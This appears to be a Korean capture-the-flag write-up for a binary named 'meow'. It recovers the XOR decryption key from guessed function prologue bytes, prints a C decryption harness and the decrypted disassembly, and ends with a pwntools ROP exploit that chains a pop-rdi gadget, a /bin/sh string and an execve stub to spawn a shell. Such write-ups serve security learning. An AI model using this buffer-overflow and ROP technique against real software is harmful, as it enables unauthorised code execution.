키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다.
키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다.
어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다.
결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다.
추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다.
1. 0x55=i2^i5^13
2. 0x48=i3^i2^72
3. 0x89=(-11=245)^i8^i1
4. 0xe5=(-81=175)^i9^i3
5. 0xc9 = i0 i1 186
6. 0xc3 = i1 i3 167
(i가 key)
정리하면 key의 이만큼을 얻을 수 있다.
i0 = i0
i1 = i0 ^ 0x73
i2 = i0 ^ 0x17
i3 = i0 ^ 0x17
i4
i5 = i0 ^ 0xd
i6 =
i7 =
i8 = i0 ^ 0xf
i9 = i0 ^ 0x5d
이걸로 key의 브루트 포싱 값이 확 줄었다. 이제 해시를 비교하면서 브루트 포싱하자
키 = $W337k!++y
#include
"stdio.h"
#include"string.h"
char ind[2][200][50],tmp[100];
int main(){
char src[200]={241, 100, 114, 74, 79, 72, 77, 186, 119, 115, 29, 52, 245, 175, 184, 15, 36, 86, 17, 101, 71, 163, 47, 115, 164, 86, 79, 112, 74, 19, 87, 156, 63, 111, 6, 97, 64, 144, 175, 57, 16, 41, 52, 195, 0, 122, 64, 61, 78, 63, 14, 42, 47, 32, 127, 115, 137, 125, 75, 29, 9, 170, 208, 0, 33, 137, 77, 42, 103, 124, 24, 59, 57, 242, 141, 28, 167, 113, 87, 46, 49, 20, 103, 72, 60, 125, 175, 112, 174, 16, 49, 104, 209, 38, 5, 200, 37, 242, 98, 245, 93, 56, 52, 242, 32, 14, 126, 159, 251, 87, 114, 38, 87, 103, 21, 16, 21, 19, 185, 62, 121, 137, 93, 36, 18, 1, 152, 123, 24, 37, 224, 223, 124, 36, 27, 45, 68, 176, 16, 61, 87, 61, 98, 180, 33, 29, 62, 209, 16, 215, 69, 116, 150, 43, 109, 59, 237, 16, 0, 103, 49, 223, 108, 184, 134, 26, 124, 107, 100, 120, 198, 55, 118, 230, 97, 160, 173, 190, 76, 186, 167, 13};
char input[200]={'$','W','3','3','7','k','!','+','+','y','(','>',',','<',')',NULL};
char v14 = 0;
int j = 0;
char v19_4 = 4,vv[10],v18_5 = 5,vvv[10],v17_3 = 3,vvvv[10];
char v13_10 = 10,vvvvv[10],v12_5 = 5,v2[10],v11_7 = 7,v16 = 0;
char v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0;
int v15=0xb6;
int len_b6=0xb6;
for(int i=0;i<200;i++){
memset(ind[0][i],0,50);
memset(ind[1][i],0,50);
}
for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 )
{
printf("i=%d\n",i);
for ( j = 0; j < v17_3; j++ ){
*(&v4 + j) = *(j + v16 + src);
sprintf(ind[0][j],"v1[%d] = src[%d](%d)",j,v16+j,src[j+v16]);
//strcat(ind[0][j],tmp);
}
for ( j = 0; v11_7 - v17_3 > j; ++j ){
*(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src);
sprintf(ind[0][j+v17_3],"v1[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]);
//strcat(ind[0][j+v17_3],tmp);
}
for ( j = 0; j < v11_7; j++ ){
*(&v4 + j) ^= *(j + input);
sprintf(ind[1][j],"v1[%d]^=%d(input[%d])\n",j,*(&v4+j),j);
//strcat(ind[1][j],tmp);
}
for ( j = 0; j < v17_3; j++ ){
*(src + j + v16) = *(&v4 + j + v11_7 - v17_3);
printf("src[%d]=%d : v1[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j);
printf("src[%d]=%d : v1[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]);
}
v16 += v17_3;
v15 -= v11_7 - v17_3;
v17_3 += 2;
if ( v17_3 == 9 )
v17_3 = 3;
}
j = 0;
v19_4 = 4,v18_5 = 5,v17_3 = 3;
v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0;
v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0;
v15=0xb6;
len_b6=0xb6;
v11_7=5;
v17_3=5;
for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 )
{
printf("i=%d\n",i);
for ( j = 0; j < v17_3; j++ ){
*(&v4 + j) = *(j + v16 + src);
sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]);
}
for ( j = 0; v11_7 - v17_3 > j; ++j ){
*(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src);
sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]);
}
for ( j = 0; j < v11_7; j++ ){
*(&v4 + j) ^= *(2*j+1 + input);
sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+2*j+1),2*j+1);
}
for ( j = 0; j < v17_3; j++ ){
*(src + j + v16) = *(&v4 + j + v11_7 - v17_3);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]);
}
v16 += v17_3;
v15 -= v11_7 - v17_3;
v17_3 -= 1;
if ( v17_3 == 0 )
v17_3 = 5;
}
j = 0;
v19_4 = 4,v18_5 = 5,v17_3 = 3;
v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0;
v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0;
v15=0xb6;
len_b6=0xb6;
v11_7=10;
v17_3=4;
for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 )
{
printf("i=%d\n",i);
for ( j = 0; j < v17_3; j++ ){
*(&v4 + j) = *(j + v16 + src);
sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src);
sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]);
}
//printf("%d\n",v15);
for ( j = 0; j < v11_7; j++ ){
*(&v4 + j) ^= *(j + input);
sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j);
}
for ( j = 0; j < v17_3; j++ ){
*(src + j + v16) = *(&v4 + j + v11_7 - v17_3);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]);
//printf("v15 : %d\n",v15);
}
v16 += v17_3;
v15 -= v11_7 - v17_3;
v17_3 += 1;
if ( v17_3 == 9 )
v17_3 = 4;
}
j = 0;
v19_4 = 4,v18_5 = 5,v17_3 = 3;
v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0;
v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0;
v15=0xb6;
len_b6=0xb6;
v11_7=10;
v17_3=4;
for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 )
{
printf("i=%d\n",i);
for ( j = 0; j < v17_3; j++ ){
*(&v4 + j) = *(j + v16 + src);
sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src);
sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]);
}
//printf("%d\n",v15);
for ( j = 0; j < v11_7; j++ ){
*(&v4 + j) ^= *(j + input);
sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j);
}
for ( j = 0; j < v17_3; j++ ){
*(src + j + v16) = *(&v4 + j + v11_7 - v17_3);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]);
}
for ( j = 0; v11_7 - v17_3 > j; j++ ){
*(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j);
printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]);
//printf("v15 : %d\n",v15);
}
v16 += v17_3;
v15 -= v11_7 - v17_3;
v17_3 += 1;
if ( v17_3 == 9 )
v17_3 = 4;
}
FILE *f=fopen("./src_out","wb");
fwrite(src, 1 , sizeof(src) , f );
fclose(f);
}
복호화한다음 디버거로 보자
0x12000: push rbp
0x12001: mov rbp,rsp
0x12004: sub rsp,0x60
0x12008: movabs rax,0x20756f7920646944
0x12012: mov QWORD PTR [rbp-0x60],rax
0x12016: movabs rax,0x612065736f6f6863
0x12020: mov QWORD PTR [rbp-0x58],rax
0x12024: movabs rax,0x3f3f3f3f74616320
0x1202e: mov QWORD PTR [rbp-0x50],rax
0x12032: movabs rax,0x7420746168570a3f
0x1203c: mov QWORD PTR [rbp-0x48],rax
0x12040: movabs rax,0x6320666f20657079
0x1204a: mov QWORD PTR [rbp-0x40],rax
0x1204e: movabs rax,0x646c756f77207461
0x12058: mov QWORD PTR [rbp-0x38],rax
0x1205c: movabs rax,0x65727020756f7920
0x12066: mov QWORD PTR [rbp-0x30],rax
0x1206a: movabs rax,0x273027203f726566
0x12074: mov QWORD PTR [rbp-0x28],rax
0x12078: mov DWORD PTR [rbp-0x20],0x3e3e3e0a
0x1207f: mov BYTE PTR [rbp-0x1c],0x0
0x12083: lea rax,[rbp-0x60]
0x12087: mov edx,0x44
0x1208c: mov rsi,rax
gdb-peda$
0x1208f: mov edi,0x1
0x12094: mov eax,0x1
0x12099: syscall
0x1209b: lea rax,[rbp+0x8]
0x1209f: mov edx,0x18
0x120a4: mov rsi,rax
0x120a7: mov edi,0x0
0x120ac: mov eax,0x0
0x120b1: syscall
0x120b3: nop
0x120b4: leave
0x14000: push rbp
0x14001: mov rbp,rsp
0x14004: sub rsp,0x10
0x14008: mov QWORD PTR [rbp-0x8],rdi
0x1400c: mov rax,QWORD PTR [rbp-0x8]
0x14010: mov edx,0x0
0x14015: mov esi,0x0
0x1401a: mov rdi,rax
0x1401d: mov eax,0x3b
0x14022: syscall
0x14024: nop
0x14025: leave
0x14026: ret
이렇게 생겨먹음 그냥 바로 bof터진다.
rop로 익스를 해보자
디버거로 0x14000을 보면(또다른 복호화 함수) execve이다.
다시보니 가젯을 하나 넣어놨다
0x14036: pop rdi
0x14037: ret
/bin/sh도 넣어놨다 ㅋㅋ
0x14029
rdi에 /bin/sh넣고
execve콜하면 된다.

from pwn import *
p=process('./meow')
f=open('./src_out')
p.sendline('$W337k!++y')
cont=f.read()
print cont
#print disasm(cont)
pay=''
pay+=p64(0x14036)
pay+=p64(0x14029)
pay+=p64(0x14000)
p.sendline('3')
p.sendline(pay)
p.interactive()